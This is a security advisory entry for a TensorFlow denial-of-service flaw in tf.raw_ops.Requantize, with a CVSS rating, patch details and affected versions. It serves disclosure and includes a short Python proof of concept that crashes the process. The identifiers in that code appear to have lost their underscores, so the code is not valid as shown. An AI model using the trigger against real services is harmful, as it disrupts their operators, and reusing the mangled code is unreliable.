PT-2026-59871 · Pypi · Tensorflow
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
If
Requantize is given input min, input max, requested output min, requested output max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.python
import tensorflow as tf
out type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input min = tf.constant([], shape=[0], dtype=tf.float32)
input max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested output min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested output max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw ops.Requantize(input=input, input min=input min, input max=input max, requested output min=requested output min, requested output max=requested output max, out type=out type)Patches
We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Fix
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Related Identifiers
Affected Products
Tensorflow